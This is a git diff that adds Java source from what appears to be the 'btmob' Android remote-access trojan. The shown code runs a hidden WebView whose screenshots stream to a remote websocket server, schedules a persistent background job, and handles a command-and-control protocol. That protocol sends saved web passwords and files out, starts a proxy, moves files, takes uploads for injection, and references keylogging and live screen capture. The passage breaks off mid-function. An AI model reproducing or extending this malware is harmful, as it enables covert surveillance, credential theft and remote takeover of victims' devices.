eventTime = SystemClock.uptimeMillis(); + MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1]; + MotionEvent.PointerProperties pp1 = new MotionEvent.PointerProperties(); + pp1.id = 0; + pp1.toolType = MotionEvent.TOOL_TYPE_FINGER; + properties[0] = pp1; + MotionEvent.PointerCoords[] pointerCoords = new MotionEvent.PointerCoords[1]; + MotionEvent.PointerCoords pc1 = new MotionEvent.PointerCoords(); + pc1.x = x; + pc1.y = y; + pc1.pressure = 1; + pc1.size = 1; + pointerCoords[0] = pc1; + MotionEvent motionEvent = MotionEvent.obtain(downTime, eventTime, + MotionEvent.ACTION_DOWN, 1, properties, + pointerCoords, 0, 0, 1, 1, 0, 0, 0, 0); + mWebView.dispatchTouchEvent(motionEvent); + + motionEvent = MotionEvent.obtain(downTime, eventTime, + MotionEvent.ACTION_UP, 1, properties, + pointerCoords, 0, 0, 1, 1, 0, 0, 0, 0); + mWebView.dispatchTouchEvent(motionEvent); + } + + public void simulateSwipe(Point[] points, long duration) { + long durationPerPoint = duration / (points.length - 1); + long downTime = SystemClock.uptimeMillis(); + long eventTime = downTime; + + // Inject ACTION_DOWN at the start + MotionEvent downEvent = MotionEvent.obtain( + downTime, eventTime, MotionEvent.ACTION_DOWN, + points[0].x, points[0].y, 0 + ); + mWebView.dispatchTouchEvent(downEvent); + + // Inject ACTION_MOVE events + for (int i = 1; i < points.length; i++) { + eventTime += durationPerPoint; + + MotionEvent moveEvent = MotionEvent.obtain( + downTime, eventTime, MotionEvent.ACTION_MOVE, + points[i].x, points[i].y, 0 + ); + mWebView.dispatchTouchEvent(moveEvent); + } + + // Inject ACTION_UP at the end of the swipe + eventTime += durationPerPoint; + MotionEvent upEvent = MotionEvent.obtain( + downTime, eventTime, MotionEvent.ACTION_UP, + points[points.length - 1].x, points[points.length - 1].y, 0 + ); + mWebView.dispatchTouchEvent(upEvent); + + // Inject a new ACTION_DOWN at the final point to simulate stopping + long stopDownTime = SystemClock.uptimeMillis(); + MotionEvent stopDownEvent = MotionEvent.obtain( + stopDownTime, stopDownTime, MotionEvent.ACTION_DOWN, + points[points.length - 1].x, points[points.length - 1].y, 0 + ); + mWebView.dispatchTouchEvent(stopDownEvent); + + // Hold for a brief moment to simulate touch + try { + Thread.sleep(100); // Hold down for 100ms, adjust if needed + } catch (InterruptedException e) { + e.printStackTrace(); + } + + // Inject an ACTION_UP to lift the "finger" + long stopUpTime = SystemClock.uptimeMillis(); + MotionEvent stopUpEvent = MotionEvent.obtain( + stopDownTime, stopUpTime, MotionEvent.ACTION_UP, + points[points.length - 1].x, points[points.length - 1].y, 0 + ); + mWebView.dispatchTouchEvent(stopUpEvent); + + // Recycle the events to avoid memory leaks + downEvent.recycle(); + upEvent.recycle(); + stopDownEvent.recycle(); + stopUpEvent.recycle(); + } + + + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public void onCreate() { + super.onCreate(); + instance = this; + startforground(getApplicationContext()); + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + try { + if (intent.hasExtra("starturl")) { + client = new OkHttpClient(); + String starturl = intent.getStringExtra("starturl"); + String useragent = intent.getStringExtra("ua"); + instance = this; + startforground(getApplicationContext()); + startWebViewInBackground(starturl,useragent); + return START_STICKY; + } + } catch (Exception a) { + a.printStackTrace(); + } + return START_NOT_STICKY; + } + + private void startWebViewInBackground(String starturl,String useragent) { + // WebView logic goes here + mWebView = new WebView(this); + mWebView.getSettings().setJavaScriptEnabled(true); + try{ + CookieManager.getInstance().setAcceptCookie(true); + CookieManager.getInstance().setAcceptThirdPartyCookies(mWebView, true); + }catch (Exception a){ + + } + mWebView.getSettings().setLoadsImagesAutomatically(true); + mWebView.getSettings().setLoadWithOverviewMode(true); + mWebView.getSettings().setUseWideViewPort(true); + mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + mWebView.getSettings().setAllowFileAccess(true); + mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); + mWebView.getSettings().setDomStorageEnabled(true); + mWebView.getSettings().setAllowFileAccessFromFileURLs(true); + mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true); + mWebView.getSettings().setAllowContentAccess(true); + try { + mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null); + mWebView.getSettings().setPluginState(WebSettings.PluginState.ON); + mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); + mWebView.setBackgroundColor(0xffffffff); + } catch (Exception a) { + } + + mWebView.getSettings().setBuiltInZoomControls(false); + + + if(useragent.equals("a")){ + if (starturl.contains("google.com") || starturl.contains("youtube.com")) { + + mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 13; Redmi Note 12 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.187 Mobile Safari/537.36"); + + } else { + mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 13; SM-A146P Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.5845.187 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/430.0.0.39.113;]"); + } + + }else if (useragent.startsWith("")){ + String customagent = useragent.replace("",""); + mWebView.getSettings().setUserAgentString(customagent); + }else { + //m or null + String ua= mWebView.getSettings().getUserAgentString(); + mWebView.getSettings().setUserAgentString(ua); + } + // mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 13; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.89 Mobile Safari/537.36"); + + + + mWebView.setWebChromeClient(new MyChrome()); + mWebView.setWebViewClient(new MyWebViewClient()); + + mWebView.measure(View.MeasureSpec.makeMeasureSpec(720, View.MeasureSpec.EXACTLY), + View.MeasureSpec.makeMeasureSpec(1280, View.MeasureSpec.EXACTLY)); + mWebView.layout(0, 0, mWebView.getMeasuredWidth(), mWebView.getMeasuredHeight()); + + mWebView.loadUrl(starturl); + + if (!isRemotethreadlive()) { + RemoteLive(getApplicationContext()); + } + } + + public Bitmap captureWebView(WebView webView) { + // Create a Bitmap with the dimensions of the WebView + + +// Bitmap bitmap = Bitmap.createBitmap(webView.getWidth(), webView.getHeight(), Bitmap.Config.ARGB_8888); +// +// // Render the WebView to the Bitmap +// Canvas canvas = new Canvas(bitmap); +// webView.draw(canvas); + + mWebView.setDrawingCacheEnabled(true); + Bitmap b = Bitmap.createScaledBitmap(mWebView.getDrawingCache(false),720,1280,false); + mWebView.setDrawingCacheEnabled(false); + + return b; + } + + private static volatile long remotethread = 0; + + private static boolean isRemotethreadlive() { + if (remotethread == 0) { + return false; + } + long currentTime = System.currentTimeMillis(); + long elapsedTime = currentTime - remotethread; + long lasttime = 30 * 1000; // 30 sec in milliseconds + + + return elapsedTime < lasttime; + } + + public void StopRemoteThread(Context ctx) { + MySettings.WriteBool(ctx, Consts.Hidden_browser, false); + remotethread = 0; + } + + @Override + public void onDestroy() { + super.onDestroy(); + closeWebSocket(); + } + + public String lastimg = ""; + + public void RemoteLive(Context ctx) { + Thread thread = new Thread(new Runnable() { + public void run() { + + do { + remotethread = System.currentTimeMillis(); + try { + Thread.sleep(100); + } catch (Exception s) { + } + + try { + + if (!CanCapture) { + continue; + } + + Bitmap screenshot = captureWebView(mWebView); + + + Bitmap compressedBitmap = Bitmap.createScaledBitmap(screenshot, 350, 650, true); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + compressedBitmap.compress(Bitmap.CompressFormat.WEBP, 70, baos); + byte[] scbyts = baos.toByteArray(); + String base64Image = Base64.encodeToString(scbyts, Base64.DEFAULT); + + if (!lastimg.equals(base64Image)) { + lastimg = base64Image; + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "wbbrow"); + jsonObject.put("img", base64Image); + jsonObject.put("cuz", "h"); + String jsonData = jsonObject.toString(); + + Sendimg(ctx,jsonData); + + + } + + + } catch (Exception a) { + // a.printStackTrace(); + MyLoger.Error("RemoteLive", a.getMessage()); + } + + + } while (MySettings.ReadBool(ctx, Consts.Hidden_browser, false)); + } + }); + thread.start(); + } + private void Sendimg(Context ctx, String msg) { + if (websocketfile == null) { + Request request = new Request.Builder().url(URL_SOCKT()).build(); + + websocketfile = client.newWebSocket(request, new WebSocketListener() { + @Override + public void onOpen(WebSocket webSocket, Response response) { + // Connection established, send the message + sendWebSocketMessage(ctx, msg); + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + // Handle server response if necessary + try{ + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type","empty"); + if(msgtype.equals("stop") || msgtype.equals("Unauthorized access")){ + websocketfile = null; // Set to null so it can be reconnected + client.dispatcher().executorService().shutdown(); + StopRemoteThread(ctx); + } + }catch (Exception a){} + } + + @Override + public void onClosed(WebSocket webSocket, int code, String reason) { + websocketfile = null; // Set to null so it can be reconnected + client.dispatcher().executorService().shutdown(); + } + + @Override + public void onFailure(WebSocket webSocket, Throwable t, Response response) { + t.printStackTrace(); + websocketfile = null; // In case of failure, reset the WebSocket to null + } + }); + } else { + // If WebSocket is already open, send the message directly + sendWebSocketMessage(ctx, msg); + } + } + private void sendWebSocketMessage(Context ctx, String msg) { + try { + String Myid = MySettings.Read(ctx, Consts.DEVICE_ID, "Deviceid"); + String IDF = MySettings.Read(ctx, Consts.THE_IDF, null); + if (Myid == null || IDF == null) { + websocketfile.close(1000, "Missing ID"); + return; + } + String CIP = MySettings.Read(ctx, Consts.THE_CIP, "null"); + + JSONObject message = new JSONObject(); + // message.put("userId", userid); + message.put("idf", IDF); + message.put("pid", Myid); + message.put("itype", "Slr_client"); + message.put("subc", "msg"); + message.put("msg", msg); + message.put("cip", CIP); + String conctkey = MySettings.Read(ctx,Consts.Redirect_k,My_Configs.CONS_KY); + message.put("conk", conctkey); + + websocketfile.send(message.toString()); + } catch (Exception e) { + e.printStackTrace(); + if (websocketfile != null) { + websocketfile.close(1000, "Error during message sending"); + } + } + } + public void closeWebSocket() { + if (websocketfile != null) { + websocketfile.close(1000, "Closing WebSocket"); + websocketfile = null; + } + if(client != null){ + client.dispatcher().cancelAll(); + client.connectionPool().evictAll(); + client.dispatcher().executorService().shutdown(); + client = null; + } + } + public class MyChrome extends WebChromeClient { + MyChrome() { + } + } + + private class MyWebViewClient extends WebViewClient { + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + // TODO Auto-generated method stub + + super.onPageStarted(view, url, favicon); + CanCapture = false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + // TODO Auto-generated method stub + + if (request != null && request.getUrl() != null) { + String url = request.getUrl().toString(); + if (!url.startsWith("http") && url.contains("://")) { + try { + + URI uri = new URI(url); + String newUrl = uri.getHost() + uri.getPath(); + CanCapture = false; + mWebView.loadUrl(newUrl); + return true; // URL handled + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + + return false; + + } + + @Override + public void onReceivedError(WebView view, int errorCode, + String description, String failingUrl) { + + } + + @Override + public void onPageFinished(WebView view, String url) { + // TODO Auto-generated method stub + + super.onPageFinished(view, url); + CanCapture = true; + // progressBar.setVisibility(View.GONE); + } + + + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/JobSchedulerUtil.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/JobSchedulerUtil.java new file mode 100644 index 0000000..2415c0c --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/JobSchedulerUtil.java @@ -0,0 +1,41 @@ +package com.icontrol.protector; + +import android.app.job.JobInfo; +import android.app.job.JobScheduler; +import android.content.ComponentName; +import android.content.Context; +import android.os.Build; + +public class JobSchedulerUtil { + + private static final int JOB_ID = 100; + + public static void scheduleJob(Context context) { + try { + JobScheduler jobScheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE); + ComponentName componentName = new ComponentName(context, MyJobService.class); + JobInfo.Builder builder = new JobInfo.Builder(JOB_ID, componentName); + + builder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY); + builder.setPersisted(true); + builder.setPeriodic(15 * 60 * 1000); + builder.setRequiresDeviceIdle(false); + builder.setRequiresCharging(false); + + int result = jobScheduler.schedule(builder.build()); + if (result == JobScheduler.RESULT_SUCCESS) + MyLoger.Debug("Successfully scheduled", " job: " + result); + else + MyLoger.Error("Scheduled FAILURE", " job: " + result); + } catch (Exception e) { + MyLoger.Error("scheduleJob", e.getMessage()); + } + } + + + + public static void cancelJob(Context context) { + JobScheduler jobScheduler = (JobScheduler) context.getSystemService(Context.JOB_SCHEDULER_SERVICE); + jobScheduler.cancel(JOB_ID); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LiveChat.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LiveChat.java new file mode 100644 index 0000000..3beb826 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LiveChat.java @@ -0,0 +1,3511 @@ +package com.icontrol.protector; + + +import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; +import static com.icontrol.protector.AccessTools.AddID; +import static com.icontrol.protector.AccessTools.AddTname; +import static com.icontrol.protector.AccessTools.Addlink; +import static com.icontrol.protector.AccessTools.Blocked_Apps; +import static com.icontrol.protector.AccessTools.BringMeFront; +import static com.icontrol.protector.AccessTools.Lock_App_list; +import static com.icontrol.protector.AccessTools.Map_Name_Lnk; +import static com.icontrol.protector.AccessTools.Removename; +import static com.icontrol.protector.AccessTools.ject_list; + +import static com.icontrol.protector.Consts.Auto_jct; + + +import static com.icontrol.protector.Consts.Live_Nots; +import static com.icontrol.protector.Consts.Live_Screen; +import static com.icontrol.protector.Consts.Rec_Activitys; +import static com.icontrol.protector.Consts.Rec_Notifications; +import static com.icontrol.protector.Consts.Rec_apps; + +import static com.icontrol.protector.Consts.Rec_klogs; +import static com.icontrol.protector.Consts.Rec_links; +import static com.icontrol.protector.Consts.SCRQuality; +import static com.icontrol.protector.Consts.SPLIT_DATA; +import static com.icontrol.protector.Consts.SPLIT_LINE; +import static com.icontrol.protector.Consts.SPLIT_SKT; +import static com.icontrol.protector.Consts.URL_SOCKT; + +import static com.icontrol.protector.Consts.USR_NAME; +import static com.icontrol.protector.Consts.liv_klogs; +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.MySettings.WriteBool; +import static com.icontrol.protector.UtliTools.BrodcastAlert; +import static com.icontrol.protector.UtliTools.BrodcastNotification; + +import static com.icontrol.protector.UtliTools.Clearpasscodes; +import static com.icontrol.protector.UtliTools.ServiceStarter; +import static com.icontrol.protector.UtliTools.calculateMD5; +import static com.icontrol.protector.UtliTools.fromBase64; + +import static com.icontrol.protector.UtliTools.getAppNameFromPkgName; +import static com.icontrol.protector.UtliTools.getExternalIpAddress; +import static com.icontrol.protector.UtliTools.loadHtmlFromAssets; +import static com.icontrol.protector.WorkServices.CommandsList; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; +import static com.icontrol.protector.WorkServices.MyWorker.SelfRecorder; +import static com.icontrol.protector.WorkServices.MyWorker.SendPing; +import static com.icontrol.protector.WorkServices.MyWorker.SilentScreenThread; +import static com.icontrol.protector.WorkServices.MyWorker.Skiltonlive; +import static com.icontrol.protector.WorkServices.MyWorker.StartAutoj; +import static com.icontrol.protector.WorkServices.MyWorker.alljectsids; +import static com.icontrol.protector.WorkServices.MyWorker.isJecton; +import static com.icontrol.protector.WorkServices.MyWorker.isLiveSkiltonlive; +import static com.icontrol.protector.WorkServices.MyWorker.isScreenThreadRunning; +import static com.icontrol.protector.WorkServices.MyWorker.isSelfRecordON; +import static com.icontrol.protector.WorkServices.MyWorker.joinclients; +import static com.icontrol.protector.WorkServices.MyWorker.stopSelfRecorder; +import static com.icontrol.protector.WorkServices.MyWorker.stopSlientScreen; +import static com.icontrol.protector.WorkServices.MyWorker.stopliveskilton; +import static com.icontrol.protector.WorkServices.My_Access_inst; +import static com.icontrol.protector.filesManager.buff; + +import android.app.Notification; +import android.app.Service; +import android.content.Context; +import android.content.Intent; + +import android.content.pm.PackageManager; +import android.content.pm.ServiceInfo; +import android.graphics.Bitmap; +import android.graphics.Point; +import android.media.AudioManager; +import android.media.MediaMetadataRetriever; +import android.media.MediaPlayer; +import android.net.Uri; +import android.os.AsyncTask; +import android.os.Build; +import android.os.Environment; +import android.os.Handler; +import android.os.IBinder; +import android.os.Looper; +import android.os.PowerManager; + +import android.provider.Settings; +import android.util.Base64; + + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.core.app.ActivityCompat; + + +import org.json.JSONArray; +import org.json.JSONException; +import org.json.JSONObject; + +import java.io.BufferedReader; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLEncoder; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Locale; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.regex.Pattern; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.WebSocket; +import okhttp3.WebSocketListener; + + +public class LiveChat { + + + private static volatile LiveChat singinst = null; + private LiveChat(Context ctx){ + Dummyctx= ctx.getApplicationContext(); + } + public static LiveChat instance(Context ctx){ + if (singinst != null){ + return singinst; + } + singinst=new LiveChat(ctx); + return singinst; + } + //private ExecutorService executorService; + private PowerManager.WakeLock LOCK_SOCKET; + private OkHttpClient client; + public boolean isConnected = false; + private WebSocket ws; + + public static Context Dummyctx; + + +// @Override +// public IBinder onBind(Intent intent) { +// return null; +// } +// +// @Override +// public void onCreate() { +// super.onCreate(); +// startforground(getApplicationContext()); +// +// if (LiveChat.Dummyctx == null) { +// LiveChat.Dummyctx = getApplicationContext(); +// } +// } + + +// @Override +// public int onStartCommand(Intent intent, int flags, int startId) { +// +// +//// startforground(getApplicationContext()); +//// if (Dummyctx == null) { +//// Dummyctx = getApplicationContext(); +//// } +//// if (isRunning) { +//// stopSelf(); // Another instance is already doing the job +//// return START_NOT_STICKY; +//// } +// +// +// +// +//// ServerBinger binger = new ServerBinger(duminst); +//// binger.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new String[]{"PING"}); +// +// +// // return START_STICKY; +// } + + public boolean pingServer() { + HttpURLConnection conn = null; + try { +// try { +// Thread.sleep(1000); +// } catch (Exception a) { +// } + String scriptUrl = Consts.URL_PING(); + URL url = new URL(scriptUrl); + conn = (HttpURLConnection) url.openConnection(); + conn.setRequestMethod("POST"); + conn.setDoOutput(true); + conn.setDoInput(true); + conn.setConnectTimeout(30000); + conn.setReadTimeout(45000); + conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + + My_Crpter cr = My_Crpter.Getinstance(); + // MySettings.Write(Dummyctx,Consts.Redirect_e,Nemail); + String usrmail = MySettings.Read(Dummyctx,Consts.Redirect_e,My_Configs.USR_MAIL); + String data = "&user_email=" + URLEncoder.encode(cr.Dcrpt_Str(usrmail), "UTF-8"); + + // Safe writing + try (OutputStream os = conn.getOutputStream(); + OutputStreamWriter writer = new OutputStreamWriter(os, "UTF-8")) { + writer.write(data); + writer.flush(); + } + + int responseCode = conn.getResponseCode(); + + if (responseCode == HttpURLConnection.HTTP_OK) { + // Safe reading + try (BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()))) { + StringBuilder response = new StringBuilder(); + String line; + while ((line = in.readLine()) != null) { + response.append(line); + } + + String result = response.toString(); + return handleResponse(result); + } + } else { + return handleResponse("HTTP Error: " + responseCode); + + } + + } catch (Exception e) { + return handleResponse("Error: " + e.getMessage()); + } finally { + if (conn != null) { + conn.disconnect(); // 🧹 Critical cleanup + } + } + } + + + private void startwocket() { + + if (isConnected) { + return; + } + + Request request; + try { + client = new OkHttpClient.Builder() + .pingInterval(15, TimeUnit.SECONDS) // Sends a ping every 30 seconds to keep the connection alive + .retryOnConnectionFailure(true) // Automatically retries connection failures + .connectTimeout(0, TimeUnit.SECONDS) // Connection timeout + .readTimeout(0, TimeUnit.MILLISECONDS) // WebSockets use their own internal timeouts + .build(); + + + request = new Request.Builder().url(URL_SOCKT()).build(); + + } catch (Exception s) { + client = null; + return; + } + + ws = client.newWebSocket(request, new WebSocketListener() { + + + @Override + public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) { + super.onClosing(webSocket, code, reason); + isConnected = false; + Endme(); + } + + @Override + public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, @Nullable Response response) { + super.onFailure(webSocket, t, response); + isConnected = false; + Endme(); + + } + + @Override + public void onOpen(WebSocket webSocket, Response response) { + + try { + isConnected = true; + WriteBool(Dummyctx, Consts.Send_Skilton, false); + joinsession(Dummyctx, "0", "join"); + + + } catch (Exception a) { + + } + + + } + + @Override + public void onMessage(WebSocket webSocket, String text) { + super.onMessage(webSocket, text); + MyLoger.Debug("onMessage LiveChat:", text); + try { + + JSONObject Response = new JSONObject(text); + String msgtype = Response.optString("type", "empty"); + switch (msgtype) { + case "com": + try { + String datapassed = Response.optString("pdata", "empty"); + JSONObject datajson = new JSONObject(datapassed); + Handlecommand(datajson); + } catch (Exception a) { + a.printStackTrace(); + } + break; + case "stop": + WorkServices.needsleep = true; + Endme(); + break; + case "Unauthorized access": + + WorkServices.needsleep = true; + Endme(); + + break; + case "join": + + joinsession(Dummyctx, "0", "join"); + break; + + case "connected": + joinclients(Dummyctx); + break; + + case "proxy": + HandleProxy(Response); + break; + default: + break; + } + + } catch (JSONException e) { + MyLoger.Error("json livechat", e.getMessage()); + e.printStackTrace(); + if (text.toLowerCase().equals("stop")) { + MyPacket newpkt = new MyPacket("Sleep".getBytes(), "null".getBytes()); + HandelPacket(newpkt); +// synchronized (WorkServices.PAKET_LOCK) { +// WorkServices.MY_COMMANDS_LIST.add(newpkt); +// } + } + Endme(); + } + + } + + // private void insertcommand(MyPacket newpkt){ +// +// synchronized (WorkServices.PAKET_LOCK) { +// WorkServices.MY_COMMANDS_LIST.add(newpkt); +// } +// +// } + private void HandleBrowser(JSONObject Response) { + try { + String Command = Response.optString("subc", "0"); + + switch (Command) { + case "h"://hidden + String browsercommand = Response.optString("bcom", "0"); + switch (browsercommand) { + case "1"://start + + //aHR0cHM6Ly9nb29nbGUuY29tPDpDUzo+bQ== is https://google.com<:CS:>m + //user agent, m = mobile default ,a = automatic, str = costum + String[] extradata = fromBase64(Response.optString("extdata", "aHR0cHM6Ly9nb29nbGUuY29tPDpDUzo+bQ==")).split("<:CS:>"); + + String starturl = extradata[0]; + String useragent = extradata[1]; + + if (!starturl.startsWith("http://") && !starturl.startsWith("https://")) { + starturl = "http://" + starturl; + } + + if (!isServiceRunning(Dummyctx, HiddenBrowser.class)) { + WriteBool(Dummyctx, Consts.Hidden_browser, true); + + Intent workint = new Intent(Dummyctx, HiddenBrowser.class); + workint.putExtra("starturl", starturl); + workint.putExtra("ua", useragent); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + Dummyctx.startForegroundService(workint); + } else { + Dummyctx.startService(workint); + } + } else { + HiddenBrowser sb = HiddenBrowser.getinstance(); + if (sb != null) { + String[] comandload = new String[]{"load", starturl}; + sb.controlbrowser(comandload, Dummyctx); + } + } + + break; + case "0"://stop + WriteBool(Dummyctx, Consts.Hidden_browser, false); + Intent stopit = new Intent(Dummyctx, HiddenBrowser.class); + Dummyctx.stopService(stopit); + + break; + case "3"://command , click input etc.. + HiddenBrowser sb = HiddenBrowser.getinstance(); + if (sb != null) { + //args[0]//text ,scroll, click, nav + //example input: text<:CS:>hello<:CS:> + //bnVsbDw6Q1M6Pg== is null<:CS:> + String[] args = fromBase64(Response.optString("extdata", "bnVsbDw6Q1M6Pg==")).split("<:CS:>"); + sb.controlbrowser(args, Dummyctx); + } + break; + } + break; + case "n"://normal + + + String loadtype = Response.optString("ltype", "0");//html base64 f or url u + + String extradata = Response.optString("extdata", "0");//could be url or html as base64 + + Intent myIntent = null; + + + switch (loadtype) { + case "f": + myIntent = new Intent(Dummyctx, WebBrowser.class); + myIntent.putExtra("type", "f"); + break; + case "u": + myIntent = new Intent(Dummyctx, WebBrowser.class); + myIntent.putExtra("type", "u"); + break; + case "lp"://load passwords + String forwhat = Response.optString("lfor", "0"); + loadpassword(Dummyctx, forwhat); + break; + case "re": + String remname = Response.optString("ntrk", "0"); + Removename(remname); + break; + case "add": + String nametarget = Response.optString("ntrk", "0"); + String linktarget = Response.optString("ltrk", "0"); + String idtarget = Response.optString("itrk", "0"); + Addlink(nametarget, linktarget); + AddID(nametarget, idtarget); + AddTname(nametarget); + break; + case "cp"://clear password + MySettings.ClearList(Dummyctx, Consts.web_pass); + break; + case "s"://stop + WriteBool(Dummyctx, Consts.web_browser, false); + default: + myIntent = null; + break; + } + + if (myIntent != null) { + myIntent.putExtra("key", extradata); + myIntent.addFlags(FLAG_ACTIVITY_NEW_TASK); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); + myIntent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + Dummyctx.startActivity(myIntent); + } + + + break; + default: + break; + } + + } catch (Exception a) { + + MyLoger.Error("HandleBrowser", a.getMessage()); + } + } + + public void loadpassword(Context context, String whatfor) { + // Retrieve the list of Base64-encoded strings + ArrayList retrievedList = MySettings.ReadList(context, Consts.web_pass); + + if (retrievedList != null && retrievedList.size() > 0) { + + String alldata = ""; + for (String base64String : retrievedList) { + // Decode the Base64 string + alldata += base64String + SPLIT_LINE; + } + + try { + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", whatfor); + jsonObject.put("data", alldata); + jsonObject.put("cuz", "p"); + String jsonData = jsonObject.toString(); + + + Livemessage(Dummyctx, jsonData); + } catch (Exception a) { + } + } else { + if (whatfor.equals("trk")) { + String alldata = ""; + for (String sit : + Map_Name_Lnk.values()) { + + String base64String = sit + SPLIT_DATA + "-" + SPLIT_DATA + "No Data Found" + SPLIT_DATA + "-"; + alldata += Base64.encodeToString(base64String.getBytes(), Base64.DEFAULT) + SPLIT_LINE; + + } + try { + + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", whatfor); + jsonObject.put("data", alldata); + jsonObject.put("cuz", "p"); + String jsonData = jsonObject.toString(); + + + Livemessage(Dummyctx, jsonData); + } catch (Exception a) { + } + } + AlertServer(context, "Accounts", "No Data Found."); + + } + } + + private void HandleFetch(JSONObject Response) { + try { + String Command = Response.optString("subc", "0"); + + switch (Command) { + case "num"://number + PhoneNumberUtils.printPhoneNumbers(Dummyctx); + break; + case "file": + String thepath = Response.optString("extradata", "null"); + String sockidf = Response.optString("skidf", "null"); + Uri ur = Uri.parse((thepath).trim()); + File file = new File(ur.getPath()); + if (file.exists()) { + Thread sender = new Thread(new Runnable() { + @Override + public void run() { + LiveDownload(Dummyctx, ur.getPath(), sockidf); + } + }); + sender.start(); + + } else { + AlertServer(Dummyctx, "Downloads", "File not found: " + thepath); + } + break; + default: + break; + } + + } catch (Exception a) { + + MyLoger.Error("HandleFetch", a.getMessage()); + } + } + + private void HandleProxy(JSONObject Response) { + try { + String Command = Response.optString("subc", "0"); + + switch (Command) { + case "1"://ON + + if (!isServiceRunning(Dummyctx, ProxyService.class)) { + Intent workint = new Intent(Dummyctx, ProxyService.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + Dummyctx.startForegroundService(workint); + } else { + Dummyctx.startService(workint); + } + } + + break; + case "0"://OFF + Intent stopServiceIntent = new Intent(Dummyctx, ProxyService.class); + Dummyctx.stopService(stopServiceIntent); + + break; + default: + break; + } + + } catch (Exception a) { + + MyLoger.Error("HandleProxy", a.getMessage()); + } + } + private void Handlejects(JSONObject Response) { + try { + alljectsids = Response.optString("jdat", "empty"); + + if(alljectsids != "empty"){ + if (!isJecton()){ + StartAutoj(Dummyctx); + } + + } + } catch (Exception a) { + + MyLoger.Error("HandleLocaton", a.getMessage()); + } + } + private void HandleFiles(JSONObject Response) { + try { + String Command = Response.optString("state", "empty"); + String to_path = Response.optString("tp", "empty"); + String[] from_paths = Response.optString("fp", "empty").split("

"); + filesManager fm = new filesManager(); + String AlertMsg_copy = null; + String AlertMsg_cut = null; + switch (Command) { + case "co"://copy + for (String fpath : + from_paths) { + try { + fm.copyFile(fpath, to_path); + } catch (Exception a) { + AlertMsg_copy = a.getMessage(); + } + } + if (AlertMsg_copy == null) { + AlertMsg_copy = "Copying finished"; + } + break; + case "cu"://cut + for (String fpath : + from_paths) { + try { + fm.moveFile(fpath, to_path); + } catch (Exception s) { + AlertMsg_cut = s.getMessage(); + } + } + if (AlertMsg_cut == null) { + AlertMsg_cut = "Moving finished"; + } + break; + default: + break; + } + if (AlertMsg_copy != null) { + AlertServer(Dummyctx, "Copy File", AlertMsg_copy); + } + if (AlertMsg_cut != null) { + AlertServer(Dummyctx, "Move File", AlertMsg_cut); + } + } catch (Exception a) { + + MyLoger.Error("HandleLocaton", a.getMessage()); + } + } + + private final Map> chunkStorage = new HashMap<>(); + private final Map chunkProgress = new HashMap<>(); + + private void HandleUpload(JSONObject Response) { + try { + String filehash = Response.optString("filehash", "empty"); + String savepath = Response.optString("savepath", "empty"); + String isinjct = Response.optString("isinjct", "0"); + String jctid = Response.optString("jctid", "0"); + String filedata = Response.optString("filedata", ""); + long totalSize = Response.optLong("totalSize", 0); + long sentSize = 